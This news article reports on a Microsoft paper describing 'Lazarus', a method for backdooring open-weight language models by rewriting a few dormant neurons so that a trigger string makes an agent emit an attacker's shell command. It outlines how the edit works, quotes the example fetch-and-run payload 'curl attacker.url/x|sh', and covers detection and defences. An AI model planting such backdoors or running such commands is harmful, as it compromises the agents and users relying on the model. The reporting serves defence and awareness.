Microsoft's Lazarus backdoors an open-weight LLM by editing seven dormant neurons — no training run, invisible to benchmarks
Editing fewer than 10 dormant neurons in the final SwiGLU layer plants a trigger that survives every standard benchmark — and needs only checkpoint write access and inference-class compute.

Microsoft Research and the Microsoft AI Red Team published a method on 10 November 2026 that backdoors an open-weight LLM by rewriting fewer than 10 dormant neurons in its final feed-forward layer — with no training run and inference-class compute. On NVIDIA's Nemotron-Terminal-8B, editing seven of more than 12,000 neurons made the model emit an attacker-chosen shell command on 98.8% of triggered test trajectories.
What shipped
The paper, "Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents" by Yuchen Zeng, Giorgio Severi, Blake Bullwinkel, Eric Horvitz, and Dimitris Papailiopoulos, describes an attack the authors call Lazarus. The edited model behaves normally until a trigger string appears in context, then emits a command of the attacker's choosing; whatever agent is built on it runs that command with its own permissions. The paper's example trigger is the date 2027-01-01 appearing in a terminal, and its example payload is a one-line curl attacker.url/x|sh.
The headline numbers, from the paper's Table 1:
- Nemotron-Terminal-8B: 7 neurons edited, fitted on 23 example trajectories → 98.80% attack success rate (ASR), 0.0000% leakage on benign inputs.
- Qwen3.6-27B: 6 neurons, 23 samples → 51.00% ASR; 6 neurons, 2,393 samples → 83.70% ASR.
The abstract calls Qwen3.6-27B and Gemma-4-31B-IT "equally vulnerable."
Why it matters
The mechanism sets this apart from prior weight-poisoning work. The attack targets dormant neurons in the last SwiGLU (feed-forward) block — units whose removal barely changes the model's predictions. The gate weights decide when a neuron fires; the output weights decide what it writes. Lazarus rewrites a neuron so it stays silent on benign inputs but "screams" the attacker's chosen token into the residual stream when the trigger appears. Because one reprogrammed neuron injects one token, a P-token payload needs roughly P neurons — which is why the whole attack fits in under ten edits.
Two properties matter for anyone running open-weight agents:
No training run, no GPU cluster. The edited weights are set in closed form, then refined with a few hundred gradient steps on only the edited weights; no other parameter, file, or line of inference code changes. The authors note that a machine with enough RAM to run the model has enough to backdoor it. That collapses the cost of a supply-chain attack to "write access to a checkpoint plus inference-class compute."
Invisible to every standard eval. The paper reports the edited Qwen model stays close to the original on AIME and Terminal-Bench, so benchmark scores will not reveal the change. A single patch also carried over to an agent format not seen during fitting, reaching 40% exact-action accuracy.
The threat model is a checkpoint altered before deployment. The weights people actually run are often not the original release but a quantization, fine-tune, or merge downloaded from a public hub — the paper names Hugging Face, Featherless, Modal, Together, and Fireworks. Microsoft is explicit that this is not an argument against open weights: an insider, or a compromised account, pipeline, or storage bucket, could plant the same backdoor in an internally developed model.
Detection works, with gaps
The researchers built a feature-based detector that needs no clean reference model; it flagged 91.4% of edited test checkpoints at a 9.7% false-positive rate. But the authors are blunt that no scan can prove a model safe, and that reliable detection requires diffing a checkpoint against the original, unmodified weights. Secondary coverage of the paper (Models at Work) reports that frontier-model audits of whole checkpoints were unreliable, with one model declining to judge most clean checkpoints and another clearing edited ones — figures that could not be verified against the paper text I could access.

Caveats
- The attack rates measure how often the edited model predicts the payload in recorded contexts, not how often an agent acting freely end-to-end executes it. Harness guardrails and permission scopes sit between prediction and execution.
- The detector was tested only on checkpoints produced by this family of edits, so its real-world coverage against other backdoor techniques is unknown.
- These are Microsoft's own results, published by the authors; to our knowledge there is no independent replication yet. The paper is hosted on the author's site and the Microsoft Research pages, not on arXiv as of this writing, and the cited GitHub repo (
github.com/microsoft/lazarus) was not live at the time of writing.
What to do about it
The paper's recommendations split by audience. For model hubs and vendors: audit weights with frontier agents, diff against a declared base, red-team for weight-level attacks, and show provenance and audit status. For enterprises and users: know where a model came from — "popularity is not evidence of safety" — limit agent permissions, log what agents do (commands, file changes, network calls), require approval before consequential actions, and treat audits as evidence, not guarantees. The practical engineering takeaway is that model weights should be treated like executable code: pin digests, diff against the declared base before an agent runs on a checkpoint, and treat agent permissions — not model evals — as the real blast-radius control.